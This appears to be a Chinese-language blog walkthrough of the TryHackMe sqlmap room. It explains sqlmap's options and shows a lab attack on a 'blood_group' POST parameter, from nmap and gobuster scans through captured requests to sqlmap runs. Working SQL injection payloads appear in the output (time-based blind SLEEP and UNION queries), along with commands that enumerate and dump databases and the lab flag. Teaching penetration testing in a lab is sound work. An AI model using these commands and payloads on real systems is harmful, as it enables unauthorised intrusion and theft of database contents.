【THM】SQLMAP(Sqlmap工具使用简介)-学习

发布时间 2023-03-22 21:13:01作者: Hekeats

本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/sqlmap

本文相关内容:了解并使用 Sqlmap 来对 Web 应用程序进行漏洞利用。

image

介绍

在本文中,我们将了解 sqlmap 以及 如何使用它来 利用目标Web应用程序中的 SQL 注入漏洞。

img

什么是sqlmap?

sqlmap 是一个开源渗透测试工具,由 Bernardo Damele Assumpcao Guimaraes 和 Miroslav Stampar 开发,它自动化了检测和利用sql注入漏洞并接管数据库服务器的过程;sqlmap配备了一个强大的检测引擎,为渗透测试人员提供了许多便利功能,同时包含了广泛的参数开关,它能够进行数据库指纹识别、从目标数据库中获取数据,能够通过带外连接 访问目标数据库底层文件系统以及在目标操作系统上执行命令。

安装sqlmap

如果你使用的是 Kali Linux,则默认会预安装 sqlmap,否则,你可以通过访问以下链接进行安装:

https://github.com/sqlmapproject/sqlmap

https://sqlmap.org/

Sqlmap的使用

基本参数介绍

要显示Sqlmap的基本帮助菜单,只需在终端中键入 sqlmap -h 命令即可。(tips:此处我们使用的是Kali Linux系统

Help Message:

nare@nare$ sqlmap -h
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.6#stable}
|_ -| . [(]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

Usage: python3 sqlmap [options]

Options:
  -h, --help            Show basic help message and exit
  -hh                   Show advanced help message and exit
  --version             Show program's version number and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)

  Target:
    At least one of these options has to be provided to define the
    target(s)

    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
    -g GOOGLEDORK       Process Google dork results as target URLs

  Request:
    These options can be used to specify how to connect to the target URL

    --data=DATA         Data string to be sent through POST (e.g. "id=1")
    --cookie=COOKIE     HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
    --random-agent      Use randomly selected HTTP User-Agent header value
    --proxy=PROXY       Use a proxy to connect to the target URL
    --tor               Use Tor anonymity network
    --check-tor         Check to see if Tor is used properly

  Injection:
    These options can be used to specify which parameters to test for,
    provide custom injection payloads and optional tampering scripts

    -p TESTPARAMETER    Testable parameter(s)
    --dbms=DBMS         Force back-end DBMS to provided value

  Detection:
    These options can be used to customize the detection phase

    --level=LEVEL       Level of tests to perform (1-5, default 1)
    --risk=RISK         Risk of tests to perform (1-3, default 1)

  Techniques:
    These options can be used to tweak testing of specific SQL injection
    techniques

    --technique=TECH..  SQL injection techniques to use (default "BEUSTQ")

  Enumeration:
    These options can be used to enumerate the back-end database
    management system information, structure and data contained in the
    tables

    -a, --all           Retrieve everything
    -b, --banner        Retrieve DBMS banner
    --current-user      Retrieve DBMS current user
    --current-db        Retrieve DBMS current database
    --passwords         Enumerate DBMS users password hashes
    --tables            Enumerate DBMS database tables
    --columns           Enumerate DBMS database table columns
    --schema            Enumerate DBMS schema
    --dump              Dump DBMS database table entries
    --dump-all          Dump all DBMS databases tables entries
    -D DB               DBMS database to enumerate
    -T TBL              DBMS database table(s) to enumerate
    -C COL              DBMS database table column(s) to enumerate

  Operating system access:
    These options can be used to access the back-end database management
    system underlying operating system

    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an OOB shell, Meterpreter or VNC

  General:
    These options can be used to set some general working parameters

    --batch             Never ask for user input, use the default behavior
    --flush-session     Flush session files for current target

  Miscellaneous:
    These options do not fit into any other category

    --wizard            Simple wizard interface for beginner users

[!] to see full list of options run with '-hh'

基础命令

-u URL, --url=URL          目标URL,比如 "http://www.site.com/vuln.php?id=1"

--data=DATA                通过 POST 发送的数据字符串,比如 "id=1"

--random-agent             使用随机选择的 HTTP User-Agent 标头值

-p TESTPARAMETER           可测试参数(parameter)

--level=LEVEL              要执行的测试级别(1-5,默认 1)

--risk=RISK                执行测试的风险等级(1-3,默认 1)

用于枚举的命令

下面这些参数选项可用于枚举(目标的)后端数据库管理系统的信息、结构和表中包含的数据。

-a, --all                  检索所有内容

-b, --banner               检索DBMS(数据库管理系统,常见的有MySql等)的banner(横幅)

--current-user             检索DBMS当前用户

--current-db               检索DBMS当前数据库

--passwords                枚举DBMS的用户密码哈希

--dbs                      枚举DBMS所有数据库

--tables                   枚举DBMS数据库中的表

--columns                  枚举DBMS数据库中表的列

--schema                   枚举DBMS的schema(模式、架构)

--dump                     转储DBMS的数据库中的表的条目

--dump-all                 转储DBMS的数据库中所有表的条目

--is-dba                   检测DBMS的当前用户是否为DBA(数据库管理员)

-D <DB NAME>               指定要枚举的DBMS数据库——指定数据库

-T <TABLE NAME>            指定要枚举的DBMS数据库中的表——指定表名

-C COL                     指定要枚举的DBMS数据库中的表的列——指定列名

用于操作系统访问的命令

以下这些选项可用于访问目标操作系统上的后端数据库管理系统。

--os-shell                 获取交互式的操作系统shell

--os-pwn                   获取一个OOB shell:Meterpreter会话 或者 VNC(Virtual Network Console); OOB是指 out-of-band,带外数据

--os-cmd=OSCMD             执行操作系统命令

--priv-esc                 数据库进程用户提权

--os-smbrelay              一键获取一个OOB shell、Meterpreter会话 或者 VNC(Virtual Network Console)

tips:请注意,上面使用-h获取的参数选项表单并不是所有可能用于 sqlmap 的参数开关,如果要获得更广泛的参数选项列表,请运行 sqlmap -hh 以显示高级帮助菜单。

在获取到sqlmap的基本帮助菜单之后,我们已经能够知道一些可以与 sqlmap 一起使用的参数选项,接下来让我们看一下基于 GET 和 POST 方法的请求的注入示例。

使用示例

基于 HTTP GET方法的简单测试

命令:sqlmap -u https://testsite.com/page.php?id=7 --dbs

我们使用了两个参数选项:-u 用于指定易受攻击的目标URL,--dbs 用于枚举数据库。

基于 HTTP POST方法的简单测试

首先,我们需要识别易受攻击的 POST 请求并保存它,为了保存这个请求,我们可以在BurpSuite中右键单击该请求区域,选择“复制到文件”,然后将其保存即可,我们也可以直接手动复制整个请求的内容 然后再将其粘贴到一个文本文件中。

image

查看请求内容,你可能会注意到有一个POST参数 名为“blood_group”,它可能是一个易受攻击的参数。

以下是我们保存的 HTTP POST请求的内容

nare@nare$ cat req.txt
POST /blood/nl-search.php HTTP/1.1
Host: 10.10.17.116
Content-Length: 16
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.17.116
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.10.17.116/blood/nl-search.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=bt0q6qk024tmac6m4jkbh8l1h4
Connection: close

blood_group=B%2B

现在我们已经确定了一个潜在的易受攻击的参数,让我们转入 sqlmap 并使用以下命令:

sqlmap -r req.txt -p blood_group --dbs

#sqlmap -r <request_file> -p <vulnerable_parameter> --dbs

这里我们使用了两个参数选项:-r 用于读取文件,-p 用于提供易受攻击的参数,--dbs 用于枚举数据库。

使用命令进行枚举的结果如下:

nare@nare$ sqlmap -r req.txt -p blood_group --dbs
[19:31:39] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[19:31:50] [INFO] POST parameter 'blood_group' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[19:33:09] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[19:33:09] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[19:33:09] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[19:33:09] [WARNING] most likely web server instance hasn't recovered yet from previous timed based payload. If the problem persists please wait for a few minutes and rerun without flag 'T' in option '--technique' (e.g. '--flush-session --technique=BEUS') or try to lower the value of option '--time-sec' (e.g. '--time-sec=2')
[19:33:10] [WARNING] reflective value(s) found and filtering out
[19:33:12] [INFO] target URL appears to be UNION injectable with 8 columns
[19:33:13] [INFO] POST parameter 'blood_group' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
POST parameter 'blood_group' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 71 HTTP(s) requests:
---
Parameter: blood_group (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: blood_group=B+' AND (SELECT 3897 FROM (SELECT(SLEEP(5)))Zgvj) AND 'gXEj'='gXEj

    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: blood_group=B+' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a767a71,0x58784e494a4c43546361475a45546c676e736178584f517a457070784c616b4849414c69594c6371,0x71716a7a71)-- -
---
[19:33:16] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.10.3
back-end DBMS: MySQL >= 5.0.12
[19:33:17] [INFO] fetching database names
available databases [6]:
[*] blood
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] test

现在我们知道了数据库,我们可以尝试从数据库blood中提取表的信息。

基于GET请求的命令使用

sqlmap -u https://testsite.com/page.php?id=7 -D blood --tables

#sqlmap -u https://testsite.com/page.php?id=7 -D <database_name> --tables

基于POST请求的命令使用

sqlmap -r req.txt -p blood_group -D blood --tables

#sqlmap -r req.txt -p <vulnerable_parameter> -D <database_name> --tables

一旦我们运行以上相关命令,我们就能够得到数据库blood中的表:

nare@nare$ sqlmap -r req.txt -p blood_group -D blood --tables
[19:35:57] [INFO] parsing HTTP request from 'req.txt'
[19:35:57] [INFO] resuming back-end DBMS 'mysql'
[19:35:57] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: blood_group (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: blood_group=B+' AND (SELECT 3897 FROM (SELECT(SLEEP(5)))Zgvj) AND 'gXEj'='gXEj

    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: blood_group=B+' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a767a71,0x58784e494a4c43546361475a45546c676e736178584f517a457070784c616b4849414c69594c6371,0x71716a7a71)-- -
---
[19:35:58] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.10.3
back-end DBMS: MySQL >= 5.0.12
[19:35:58] [INFO] fetching tables for database: 'blood'
[19:35:58] [WARNING] reflective value(s) found and filtering out
Database: blood
[3 tables]
+----------+
| blood_db |
| flag     |
| users    |
+----------+

一旦我们有了可用的表,我们就可以尝试从表 blood_db 中收集列的信息。

基于GET请求的命令使用

sqlmap -u https://testsite.com/page.php?id=7 -D blood -T blood_db --columns

#sqlmap -u https://testsite.com/page.php?id=7 -D <database_name> -T <table_name> --columns

基于POST请求的命令使用

sqlmap -r req.txt -p blood_group-D blood -T blood_db --columns

#sqlmap -r req.txt -p <vulnerable_parameter> -D <database_name> -T <table_name> --columns

我们开始收集表中的列信息......

另外,我们也可以使用以下命令简单地转储所有可用的数据库和表(从而得到相关的完整数据内容)。

基于GET请求的命令使用

sqlmap -u https://testsite.com/page.php?id=7 -D blood --dump-all
#sqlmap -u https://testsite.com/page.php?id=7 -D <database_name> --dump-all

基于POST请求的命令使用

sqlmap -r req.txt -p blood_group -D blood --dump-all

#sqlmap -r req.txt -p <vulnerable_parameter> -D <database_name> --dump-all

答题

image

SQLMap 练习

在本文相关的Tryhackme实验房间页面 部署虚拟实验环境,并完成本小节对应的实例。

答题

对靶机进行端口扫描:

 nmap -sV -sC -A 10.10.195.5

image

目标机开放了80端口。

对目标站点进行目录扫描:

gobuster dir -u 10.10.195.5 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

image

查看目标网站首页和刚才扫描得到的目录(/blood)

image

停留在上图中的/blood页面,启动BurpSuite并使用拦截功能,点击上图页面中搜索框旁边的Search按钮(这将向后端数据库服务器发出一个请求),然后我们就可以查看到Burpsuite所抓取到的数据包。

tips:我们用 ' or 1=1 -- -来验证下面的POST请求中的参数可为注入点(--后面要加一个空格才能发挥SQL语句中的注释符作用,所以我们使用-- -

image

image

image

image

通过查看以上请求的内容,我们能够注意到以上POST请求中有一个POST参数 名为“blood_group”,它可能是一个易受攻击的参数;我们接下来使用sqlmap进行注入攻击:

sqlmap -r sqltest.txt -p blood_group --current-user

image

image

数据库(数据库在此处的语义是指DBMS)的当前用户为 root

我们接着枚举以得到所有数据库名:

sqlmap -r sqltest.txt -p blood_group --dbs

image

我们重点关注上图中的blood数据库,进一步枚举blood数据库中的所有表名:

sqlmap -r sqltest.txt -p blood_group -D blood --tables

image

我们查询到了flag表,接下来我们将用sqlmap转储flag表(这将得到flag表的完整数据内容):

sqlmap -r sqltest.txt -p blood_group -D blood -T flag --dump

image

最后得到的flag信息是:thm{sqlm@p_is_L0ve} 。

image